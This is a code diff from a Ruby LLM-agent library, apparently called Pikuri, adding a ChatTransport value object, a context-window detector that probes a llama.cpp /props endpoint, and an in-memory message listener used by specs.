|
|
191
|
+
```sh
|
|
192
|
+
bundle exec rspec
|
|
193
|
+
```
|
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Pikuri
|
|
4
|
+
class Agent
|
|
5
|
+
# The trio of arguments that has to travel together to +RubyLLM.chat+
|
|
6
|
+
# for model resolution to come out the same on every construction:
|
|
7
|
+
# the model id, the provider hint, and the registry-bypass flag.
|
|
8
|
+
#
|
|
9
|
+
# Bundling them is structural protection against a recurring bug
|
|
10
|
+
# class — every forwarding site (the synthesizer rescue in
|
|
11
|
+
# {Agent#run_loop}, {Tool::SubAgent} spawning a sub-agent) used to
|
|
12
|
+
# pass the three individually, and dropping one routed the spawned
|
|
13
|
+
# chat to a different server or raised +RubyLLM::ModelNotFoundError+
|
|
14
|
+
# on the unknown model id. With a single value object the call site
|
|
15
|
+
# can't silently miss a field.
|
|
16
|
+
#
|
|
17
|
+
# Pure data carrier: no +RubyLLM+ references here, so the seam stays
|
|
18
|
+
# in {Agent}, +bin/pikuri-chat+, and {Tool}.
|
|
19
|
+
#
|
|
20
|
+
# @!attribute [r] model
|
|
21
|
+
# @return [String, nil] LLM identifier; +nil+ defers to
|
|
22
|
+
# +RubyLLM.config.default_model+ at {Agent} construction time
|
|
23
|
+
# @!attribute [r] provider
|
|
24
|
+
# @return [Symbol, nil] forwarded to +RubyLLM.chat+. Required
|
|
25
|
+
# together with +assume_model_exists+ when pointing at a local
|
|
26
|
+
# OpenAI-compatible server (llama.cpp, gpustack, ...) whose model
|
|
27
|
+
# ids are not in ruby_llm's bundled registry.
|
|
28
|
+
# @!attribute [r] assume_model_exists
|
|
29
|
+
# @return [Boolean] forwarded to +RubyLLM.chat+; +true+ skips
|
|
30
|
+
# ruby_llm's registry lookup and trusts the supplied model id.
|
|
31
|
+
# Requires +provider+.
|
|
32
|
+
class ChatTransport < Data.define(:model, :provider, :assume_model_exists)
|
|
33
|
+
# @param model [String, nil]
|
|
34
|
+
# @param provider [Symbol, nil]
|
|
35
|
+
# @param assume_model_exists [Boolean]
|
|
36
|
+
def initialize(model:, provider: nil, assume_model_exists: false)
|
|
37
|
+
super
|
|
38
|
+
end
|
|
39
|
+
end
|
|
40
|
+
end
|
|
41
|
+
end
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require 'faraday'
|
|
4
|
+
require 'json'
|
|
5
|
+
|
|
6
|
+
module Pikuri
|
|
7
|
+
class Agent
|
|
8
|
+
# Resolves the model's context-window cap from three sources, in order:
|
|
9
|
+
# an explicit override, the value ruby_llm reports for the model, or a
|
|
10
|
+
# llama.cpp +/props+ probe. Returns +nil+ if none of those produce a
|
|
11
|
+
# value.
|
|
12
|
+
#
|
|
13
|
+
# Used by {Agent#initialize} at construction time to feed
|
|
14
|
+
# {Listener::TokenLog} a cap it can render alongside the running
|
|
15
|
+
# context size (so the +ctx=12.2k/32.0k+ line tells the operator how
|
|
16
|
+
# close the conversation is to the limit).
|
|
17
|
+
#
|
|
18
|
+
# == Precedence
|
|
19
|
+
#
|
|
20
|
+
# 1. +override+ — the +Agent.new(context_window:)+ kwarg. Wins over
|
|
21
|
+
# everything; an explicit value is the operator's statement of
|
|
22
|
+
# truth.
|
|
23
|
+
# 2. +ruby_llm_reported+ — +RubyLLM::Model::Info#context_window+ from
|
|
24
|
+
# {Agent#chat}'s resolved model. Populated for models in ruby_llm's
|
|
25
|
+
# bundled registry (OpenAI, Anthropic, Gemini, …); +nil+ for custom
|
|
26
|
+
# local model ids that fall through to +Model::Info.default+.
|
|
27
|
+
# 3. +llama_probe_url+ — HTTP GET against llama.cpp's non-standard
|
|
28
|
+
# +/props+ endpoint. The server exposes the launched +n_ctx+ at
|
|
29
|
+
# +default_generation_settings.n_ctx+ there. Probed only when the
|
|
30
|
+
# first two are +nil+. Provider-specific to llama.cpp; the caller
|
|
31
|
+
# (typically +bin/pikuri-chat+) derives the right URL from its configured
|
|
32
|
+
# base.
|
|
33
|
+
#
|
|
34
|
+
# == Failure handling
|
|
35
|
+
#
|
|
36
|
+
# The probe is best-effort. HTTP error, timeout, non-JSON body, or a
|
|
37
|
+
# missing/invalid +n_ctx+ field all return +nil+ and log one +warn+
|
|
38
|
+
# line via +Pikuri.logger_for('ContextWindowDetector')+. This is the
|
|
39
|
+
# CLAUDE.md "secondary to the loop" carve-out — a wedged or
|
|
40
|
+
# non-llama.cpp server should not abort agent construction over a
|
|
41
|
+
# cosmetic readout.
|
|
42
|
+
class ContextWindowDetector
|
|
43
|
+
LOGGER = Pikuri.logger_for('ContextWindowDetector')
|
|
44
|
+
|
|
45
|
+
# Probe timeouts in seconds. Short on purpose: this runs synchronously
|
|
46
|
+
# during +Agent.new+ and a wedged server should not stall startup
|
|
47
|
+
# noticeably.
|
|
48
|
+
OPEN_TIMEOUT = 2
|
|
49
|
+
READ_TIMEOUT = 2
|
|
50
|
+
|
|
51
|
+
# @param override [Integer, nil] explicit cap from the caller; wins if
|
|
52
|
+
# non-+nil+
|
|
53
|
+
# @param ruby_llm_reported [Integer, nil] value off
|
|
54
|
+
# +RubyLLM::Chat#model.context_window+
|
|
55
|
+
# @param llama_probe_url [String, nil] full URL to llama.cpp +/props+;
|
|
56
|
+
# +nil+ or empty string skips the probe
|
|
57
|
+
def initialize(override:, ruby_llm_reported:, llama_probe_url:)
|
|
58
|
+
@override = override
|
|
59
|
+
@ruby_llm_reported = ruby_llm_reported
|
|
60
|
+
@llama_probe_url = llama_probe_url
|
|
61
|
+
end
|
|
62
|
+
|
|
63
|
+
# @return [Integer, nil] resolved cap, or +nil+ if no source produced
|
|
64
|
+
# one
|
|
65
|
+
def detect
|
|
66
|
+
return @override if @override
|
|
67
|
+
return @ruby_llm_reported if @ruby_llm_reported
|
|
68
|
+
return nil if @llama_probe_url.nil? || @llama_probe_url.empty?
|
|
69
|
+
|
|
70
|
+
probe_llama_cpp
|
|
71
|
+
end
|
|
72
|
+
|
|
73
|
+
private
|
|
74
|
+
|
|
75
|
+
def probe_llama_cpp
|
|
76
|
+
response = Faraday.new(
|
|
77
|
+
request: { open_timeout: OPEN_TIMEOUT, timeout: READ_TIMEOUT }
|
|
78
|
+
).get(@llama_probe_url) do |req|
|
|
79
|
+
req.headers['Accept'] = 'application/json'
|
|
80
|
+
end
|
|
81
|
+
|
|
82
|
+
return warn_and_nil("HTTP #{response.status} from #{@llama_probe_url}") unless response.status == 200
|
|
83
|
+
|
|
84
|
+
data = JSON.parse(response.body)
|
|
85
|
+
n_ctx = data.dig('default_generation_settings', 'n_ctx')
|
|
86
|
+
return n_ctx if n_ctx.is_a?(Integer) && n_ctx.positive?
|
|
87
|
+
|
|
88
|
+
warn_and_nil(
|
|
89
|
+
"no positive integer at default_generation_settings.n_ctx in #{@llama_probe_url} response"
|
|
90
|
+
)
|
|
91
|
+
rescue Faraday::Error, JSON::ParserError => e
|
|
92
|
+
warn_and_nil("#{e.class.name.split('::').last}: #{e.message}")
|
|
93
|
+
end
|
|
94
|
+
|
|
95
|
+
def warn_and_nil(reason)
|
|
96
|
+
LOGGER.warn("llama.cpp /props probe failed: #{reason}")
|
|
97
|
+
nil
|
|
98
|
+
end
|
|
99
|
+
end
|
|
100
|
+
end
|
|
101
|
+
end
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
module Pikuri
|
|
4
|
+
class Agent
|
|
5
|
+
module Listener
|
|
6
|
+
# Recording listener that appends every {Message} the agent emits
|
|
7
|
+
# to an in-memory list. Used by specs to assert on emissions
|
|
8
|
+
# without parsing stdout, and as the rough shape a future
|
|
9
|
+
# structured consumer (web sink, telemetry pipe) would take.
|
|
10
|
+
class InMemoryMessageList < MessageListener
|
|
11
|
+
# @return [Array<Agent::Message>] every message the listener has
|
|
12
|
+
# seen, in order; never nil
|
|
13
|
+
attr_reader :events
|
|
14
|
+
|
|
15
|
+
def initialize
|
|
16
|
+
super
|
|
17
|
+
@events = []
|
|
18
|
+
end
|
|
19
|
+
|
|
20
|
+
# @param message [Agent::Message]
|
|
21
|
+
# @return [void]
|
|
22
|
+
def on_message(message)
|
|
23
|
+
@events << message
|
|
24
|
+
end
|
|
25
|
+
|
|
26
|
+
# @return [String] short label for {Agent#to_s}
|
|
27
|
+
def to_s
|
|
28
|
+
'InMemoryMessageList'
|
|
29
|
+
end
|
|
30
|
+
end
|
|
31
|
+
end
|
|
32
|
+
end
|
|
33
|
+
end
|